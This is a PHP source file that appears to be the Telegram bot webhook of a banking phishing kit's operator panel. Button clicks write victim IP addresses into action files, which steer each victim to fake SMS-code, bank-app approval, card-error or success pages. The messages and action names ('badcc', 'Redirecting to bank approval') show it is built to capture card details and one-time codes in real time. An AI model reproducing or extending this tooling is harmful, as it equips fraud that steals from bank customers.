<?php
/**
 * Telegram Bot Webhook Handler
 * Handles button clicks from Telegram
 */

// Enable error logging
error_reporting(E_ALL);
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', __DIR__ . '/logs/telegram_webhook.log');

// Get the webhook data
$content = file_get_contents("php://input");
$update = json_decode($content, true);

// Log the incoming request
@file_put_contents(__DIR__ . '/logs/telegram_webhook.log', date('Y-m-d H:i:s') . " - Received: " . $content . "\n", FILE_APPEND);

// Check if it's a callback query (button click)
if (isset($update['callback_query'])) {
    $callbackQuery = $update['callback_query'];
    $callbackData = $callbackQuery['data'];
    $chatId = $callbackQuery['message']['chat']['id'];
    $messageId = $callbackQuery['message']['message_id'];
    
    // Parse the callback data
    // Format can be: "action_ip" OR "approve_sms_ip_code" OR "reject_sms_ip_code" OR "retry_sms_ip"
    $parts = explode('_', $callbackData);
    $action = isset($parts[0]) ? $parts[0] : '';
    $ip = '';
    
    // Handle different callback formats
    if ($action === 'approve' || $action === 'reject') {
        // Format: approve_sms_ip_code or reject_sms_ip_code
        if (count($parts) >= 3) {
            $ip = $parts[2];
            // Map to badsms or confirm action
            $action = ($action === 'approve') ? 'confirm' : 'badsms';
        }
    } elseif ($action === 'retry') {
        // Format: retry_sms_ip
        if (count($parts) >= 3) {
            $ip = $parts[2];
            $action = 'badsms';
        }
    } else {
        // Standard format: action_ip
        $ip = isset($parts[1]) ? $parts[1] : '';
    }
    
    @file_put_contents(__DIR__ . '/logs/telegram_webhook.log', date('Y-m-d H:i:s') . " - Parsed - Action: $action, IP: $ip\n", FILE_APPEND);
    
    if (!empty($action) && !empty($ip)) {
        // Map actions to views
        $actionMap = [
            'sms' => 'sms',
            'app' => 'app',
            'badsms' => 'badsms',
            'badcc' => 'badcc',
            'badapp' => 'badapp',
            'confirm' => 'confirm',
            'ban' => 'ban'
        ];
        
        if (isset($actionMap[$action])) {
            $view = $actionMap[$action];
            
            // IMPORTANT: Clean IP from all action files first
            $actionFiles = [
                __DIR__ . '/Panel/action/ip_sms.txt',
                __DIR__ . '/Panel/action/ip_app.txt',
                __DIR__ . '/Panel/action/ip_badsms.txt',
                __DIR__ . '/Panel/action/ip_badcc.txt',
                __DIR__ . '/Panel/action/ip_confirm.txt'
            ];
            
            foreach ($actionFiles as $actionFile) {
                if (file_exists($actionFile)) {
                    $fileContent = @file_get_contents($actionFile);
                    $fileContent = str_replace($ip . "\n", '', $fileContent);
                    $fileContent = str_replace($ip . "\r\n", '', $fileContent);
                    $fileContent = str_replace($ip, '', $fileContent);
                    @file_put_contents($actionFile, $fileContent);
                }
            }
            
            @file_put_contents(__DIR__ . '/logs/telegram_webhook.log', date('Y-m-d H:i:s') . " - Cleaned IP from all files\n", FILE_APPEND);
            
            // Write IP to the appropriate file
            if ($view === 'ban') {
                $file = __DIR__ . '/Panel/botActBan/ip_ban.txt';
            } else {
                $file = __DIR__ . "/Panel/action/ip_{$view}.txt";
            }
            
            @file_put_contents($file, $ip . PHP_EOL, FILE_APPEND | LOCK_EX);
            @file_put_contents(__DIR__ . '/logs/telegram_webhook.log', date('Y-m-d H:i:s') . " - Written IP to: $file\n", FILE_APPEND);
            
            // Get bot token
            $botToken = getBotToken();
            @file_put_contents(__DIR__ . '/logs/telegram_webhook.log', date('Y-m-d H:i:s') . " - Bot Token: " . ($botToken ? "Found: " . substr($botToken, 0, 10) . "..." : "NOT FOUND") . "\n", FILE_APPEND);
            
            if ($botToken && $botToken !== 'YOUR_BOT_TOKEN_HERE') {
                // Answer the callback query (shows popup notification)
                $answerUrl = "https://api.telegram.org/bot{$botToken}/answerCallbackQuery";
                $answerData = [
                    'callback_query_id' => $callbackQuery['id'],
                    'text' => "✅ " . getActionMessage($action) . "\n\nIP: " . $ip,
                    'show_alert' => true
                ];
                
                $ch = curl_init($answerUrl);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($answerData));
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
                $answerResult = curl_exec($ch);
                curl_close($ch);
                
                @file_put_contents(__DIR__ . '/logs/telegram_webhook.log', date('Y-m-d H:i:s') . " - Answer result: " . $answerResult . "\n", FILE_APPEND);
                
                // Edit the message to show action was taken
                $editUrl = "https://api.telegram.org/bot{$botToken}/editMessageReplyMarkup";
                
                // Remove the buttons first
                $removeButtonsData = [
                    'chat_id' => $chatId,
                    'message_id' => $messageId,
                    'reply_markup' => ['inline_keyboard' => []]
                ];
                
                $ch = curl_init($editUrl);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($removeButtonsData));
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
                curl_exec($ch);
                curl_close($ch);
                
                // Now send a new message with the action confirmation
                $sendUrl = "https://api.telegram.org/bot{$botToken}/sendMessage";
                $confirmText = "✅ <b>Action Executed:</b> " . strtoupper($action) . "\n<b>IP:</b> <code>" . $ip . "</code>\n<b>Status:</b> " . getActionMessage($action);
                
                $sendData = [
                    'chat_id' => $chatId,
                    'text' => $confirmText,
                    'parse_mode' => 'HTML',
                    'reply_to_message_id' => $messageId
                ];
                
                $ch = curl_init($sendUrl);
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($sendData));
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
                $sendResult = curl_exec($ch);
                curl_close($ch);
                
                @file_put_contents(__DIR__ . '/logs/telegram_webhook.log', date('Y-m-d H:i:s') . " - Send result: " . $sendResult . "\n", FILE_APPEND);
            }
            
            http_response_code(200);
            echo json_encode(['status' => 'success', 'action' => $action, 'ip' => $ip]);
            exit;
        }
    }
}

http_response_code(200);
echo json_encode(['status' => 'ok']);

/**
 * Get bot token from config
 */
function getBotToken() {
    // Try to get from config file
    $configFile = __DIR__ . '/config/config.php';
    if (file_exists($configFile)) {
        define('APP_ACCESS', true);
        require_once $configFile;
        
        if (defined('TELEGRAM_BOT_TOKEN')) {
            $token = TELEGRAM_BOT_TOKEN;
            
            // Check if token is encrypted (base64 encoded)
            $encryptionFile = __DIR__ . '/includes/encryption.php';
            if (file_exists($encryptionFile)) {
                require_once $encryptionFile;
                if (function_exists('decryptData')) {
                    try {
                        // Only decrypt if it looks like base64
                        if (base64_encode(base64_decode($token, true)) === $token) {
                            $decrypted = decryptData($token);
                            if (!empty($decrypted) && $decrypted !== 'YOUR_BOT_TOKEN_HERE') {
                                return $decrypted;
                            }
                        }
                    } catch (Exception $e) {
                        // Decryption failed, use token as-is
                    }
                }
            }
            
            // Return token as-is if not encrypted or decryption failed
            if ($token !== 'YOUR_BOT_TOKEN_HERE' && !empty($token)) {
                return $token;
            }
        }
    }
    
    return null;
}

/**
 * Get action confirmation message
 */
function getActionMessage($action) {
    $messages = [
        'sms' => '📲 Redirecting to SMS page',
        'app' => '📱 Redirecting to bank approval',
        'badsms' => '⛔ Showing SMS error',
        'badcc' => '💳 Showing card error',
        'badapp' => '📱 Showing bad application error',
        'confirm' => '✅ Redirecting to success',
        'ban' => '🛑 IP banned'
    ];
    
    return isset($messages[$action]) ? $messages[$action] : 'Action executed';
}
?>
